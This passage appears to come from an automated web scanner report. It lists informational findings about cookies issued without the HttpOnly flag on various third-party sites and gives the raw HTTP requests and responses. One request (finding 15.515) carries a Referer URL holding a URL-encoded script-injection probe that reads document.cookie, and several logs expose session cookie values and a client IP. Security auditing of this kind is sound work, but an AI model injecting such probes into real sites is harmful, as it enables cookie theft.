Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:19:24 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SplunkRedirectDestination=%252Findex.php%252Fdownload_track%253Ffile%253D4.1.6%252Fwindows%252Fsplunk-4.1.6-89596-x64-release.msi%2526platform%253DWindows%2526architecture%253Dx86_64%2526version%253D4.1.6%2526typed%253Drelease%2526name%253Dwindows_installer%2526d%253Dpro; expires=Sat, 05-Feb-2011 22:24:24 GMT; path=/
Location: /index.php/sign_up/download
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.501. http://www.splunk.com/page/securelink/signup/Splunk_Company_Overview previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Company_Overview

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_Company_Overview%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /page/securelink/signup/Splunk_Company_Overview HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:33:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_Company_Overview%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/
Location: http://www.splunk.com/index.php/sign_up/2337
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.502. http://www.splunk.com/page/securelink/signup/Splunk_Executive_Brief previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Executive_Brief

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_Executive_Brief%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /page/securelink/signup/Splunk_Executive_Brief HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:33:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_Executive_Brief%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/
Location: http://www.splunk.com/index.php/sign_up/2337
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.503. http://www.splunk.com/page/securelink/signup/Splunk_Product_Datasheet previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_Product_Datasheet

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_Product_Datasheet%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /page/securelink/signup/Splunk_Product_Datasheet HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:33:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_Product_Datasheet%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/
Location: http://www.splunk.com/index.php/sign_up/2337
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.504. http://www.splunk.com/page/securelink/signup/Splunk_and_MapReduce previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/Splunk_and_MapReduce

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_and_MapReduce%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /page/securelink/signup/Splunk_and_MapReduce HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:33:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FSplunk_and_MapReduce%2F; expires=Sat, 05-Feb-2011 22:38:36 GMT; path=/
Location: http://www.splunk.com/index.php/sign_up/2337
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.505. http://www.splunk.com/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FThe_Guide_to_Splunk_and_Operational_Intelligence%2F; expires=Sat, 05-Feb-2011 22:38:30 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /page/securelink/signup/The_Guide_to_Splunk_and_Operational_Intelligence HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942930878168; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=k9q26g5j81mb2osf77dbi672t5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 22:33:29 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SplunkRedirectDestination=http%3A%2F%2Fwww.splunk.com%2Fpage%2Fsecurelink%2Fdownload%2FThe_Guide_to_Splunk_and_Operational_Intelligence%2F; expires=Sat, 05-Feb-2011 22:38:30 GMT; path=/
Location: http://www.splunk.com/index.php/sign_up/2337
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

15.506. http://www.stumbleupon.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stumbleupon.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

cmf_i=7304903984d4ec93bb9fe79.92359436; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
cmf_spr=A%2FN; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
cmf_sp=http%3A%2F%2Fwww.stumbleupon.com%2F; expires=Tue, 08-Mar-2011 16:15:55 GMT; path=/; domain=.stumbleupon.com
su_c=508ff6044dad7175f31b3193dab47199%7C%7C10%7C%7C1297008955%7C5be234e7f257e317b71d9cccfe3c3c84; expires=Wed, 03-Feb-2021 16:15:55 GMT; path=/; domain=.stumbleupon.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.stumbleupon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.stylemepretty.com
Path:	/\|http:/stylehive.com\|http:/stylelist.com\|http:/www.outblush.com/\|http:/www.dooce.com/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

wpmp_switcher=desktop; expires=Mon, 06-Feb-2012 16:03:33 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.508. http://www.surveymonkey.com/s/5HNX2M3 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.surveymonkey.com
Path:	/s/5HNX2M3

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

CookieMonkey=1040449802.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /s/5HNX2M3 HTTP/1.1
Host: www.surveymonkey.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 7725
Content-Type: text/html; charset=utf-8
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
SL_notranslate: 1
Date: Sat, 05 Feb 2011 22:19:50 GMT
Connection: close
Set-Cookie: CookieMonkey=1040449802.20480.0000; path=/
X-Powered-By: Bananas and Rum
X-Monkey-Sign: Monkeys everywhere

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>2011 Specialty Da
...[SNIP]...

15.509. http://www.tel-inform.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.tel-inform.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

71499d1dac8c8300a8ef65bd655a3715=42a7d569c9215c8a25f33d0d8ec83990; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.tel-inform.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:16:03 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Mon, 1 Jan 2001 00:00:00 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Pragma: no-cache
X-Powered-By: PHP/5.2.17
Set-Cookie: 71499d1dac8c8300a8ef65bd655a3715=42a7d569c9215c8a25f33d0d8ec83990; path=/
Last-Modified: Sun, 06 Feb 2011 16:16:04 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 29954

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de-de" lang="de-de" >

<h
...[SNIP]...

15.510. http://www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.terra.com
Path:	/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBTRENDS_ID=173.193.214.243-1297008963.348471; path=/; expires=Fri, 01-Jan-2016 00:02:42 GMT; domain=.terra.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.terra.com.mx
Path:	/default.htm\|http:/www.terra.com/$\|www.people.com/$\|http:/www.walmart.com/\|http:/www.walmart.com/cp/toys/4171\|http:/www.walmart.com/cp/Electronics/3944

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

CookiePortalMX=250631376.20480.0000; expires=Sun, 06-Feb-2011 18:16:03 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /default.htm|http:/www.terra.com/$|www.people.com/$|http:/www.walmart.com/|http:/www.walmart.com/cp/toys/4171|http:/www.walmart.com/cp/Electronics/3944 HTTP/1.1
Host: www.terra.com.mx
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Connection: close
Date: Sun, 06 Feb 2011 16:16:03 GMT
Server: Microsoft-IIS/6.0
cache-control: no-cache
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Location: http://buscador.terra.com.mx/404.aspx?ca=z&source=Search&query=default.htm%257Chttp%3a+www.terra.com+%24%257Cwww.people.com+%24%257Chttp%3a+www.walmart.com+%257Chttp%3a+www.walmart.com+cp+toys+4171%257Chttp%3a+www.walmart&curl=http%3a%2f%2fwww.terra.com.mx%2fdefault.htm%257Chttp%3a%2fwww.terra.com%2f%24%257Cwww.people.com%2f%24%257Chttp%3a%2fwww.walmart.com%2f%257Chttp%3a%2fwww.walmart.com%2fcp%2ftoys%2f4171%257Chttp%3a%2fwww.walmart.com%2fcp%2fElectronics%2f3944
Cache-Control: private
Content-Type: text/html; charset=iso-8859-1
Content-Length: 592
Set-Cookie: CookiePortalMX=250631376.20480.0000; expires=Sun, 06-Feb-2011 18:16:03 GMT; path=/

<html><head><title>Object moved</title></head><body><h2>Object moved to <a href="http://buscador.terra.com.mx/404.aspx?ca=z&source=Search&query=default.htm%257Chttp%3a+www.terra.com+%24%257Cww
...[SNIP]...

15.512. http://www.traffictrack.de/tracking/mpr.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.traffictrack.de
Path:	/tracking/mpr.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

iCmprnokia1=ID%3D129701405100000%3ATBL%3D11%3ACTR%3D3%3Ac8b5e4d57e6424ab9206a1a155f3db4e%3AKD%3Dnokia%3Acid%3Dzx%3Akw%3DbannerID%3ATTnw%3DZanox%3ATTprm%3D13849089C1902184109S14786739T1469378460744041488; expires=Sun, 05-Feb-2012 17:40:51 GMT; path=/; domain=traffictrack.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.513. http://www.tuenti.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.tuenti.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ourl=deleted; expires=Sat, 06-Feb-2010 16:16:03 GMT; path=/; domain=.tuenti.com
manual_logout=deleted; expires=Sat, 06-Feb-2010 16:16:03 GMT; path=/; domain=.tuenti.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.tuenti.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.514. http://www.vodafone.de/ptc/setCookie previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.vodafone.de
Path:	/ptc/setCookie

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

oshop=queryparams||b_id||667||queryparams||shopid||770; Expires=Mon, 21-Feb-2011 17:41:41 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ptc/setCookie?B_ID=667&S_ID=770&I_BOOL=0 HTTP/1.1
Host: www.vodafone.de
Proxy-Connection: keep-alive
Referer: http://dslshop.vodafone.de/eshop/pv/97444194?tsID=za1049301
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:41:41 GMT
Set-Cookie: oshop=queryparams||b_id||667||queryparams||shopid||770; Expires=Mon, 21-Feb-2011 17:41:41 GMT; Path=/
Content-Length: 0
P3P: CP="NOI DSP LAW CURa OUR NOR PUR COM NAV INT STA"
Vary: User-Agent
Content-Type: text/plain; charset=ISO-8859-1

15.515. http://www.whselfinvest.de/banner/whsbanner.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.whselfinvest.de
Path:	/banner/whsbanner.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

whrefID=021d42e6a3df6add748e6d374ab146e8; expires=Mon, 06-Feb-2012 16:26:16 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /banner/whsbanner.php?zid=219&sid=60 HTTP/1.1
Host: www.whselfinvest.de
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.516. http://www.wtp101.com/pixel previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.wtp101.com
Path:	/pixel

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

tuuid=38f8a1ac-1e96-40c8-8d5e-172234bf5f5f; path=/; expires=Mon, 04 Feb 2013 21:54:21 GMT; domain=.wtp101.com
s=!1012; path=/; expires=Mon, 04 Feb 2013 21:54:21 GMT; domain=.wtp101.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.517. http://www.youtube.com/americanexpress previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/americanexpress

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
VISITOR_INFO1_LIVE=c_sXjcA9xII; path=/; domain=.youtube.com; expires=Mon, 03-Oct-2011 22:21:11 GMT
GEO=8c13c5354668e4ba32fe1a481a49181ccwsAAAAzVVOtwdbzTU3NVw==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /americanexpress HTTP/1.1
Host: www.youtube.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.518. http://www.youtube.com/embed/208T0-OLXA8 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/208T0-OLXA8

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
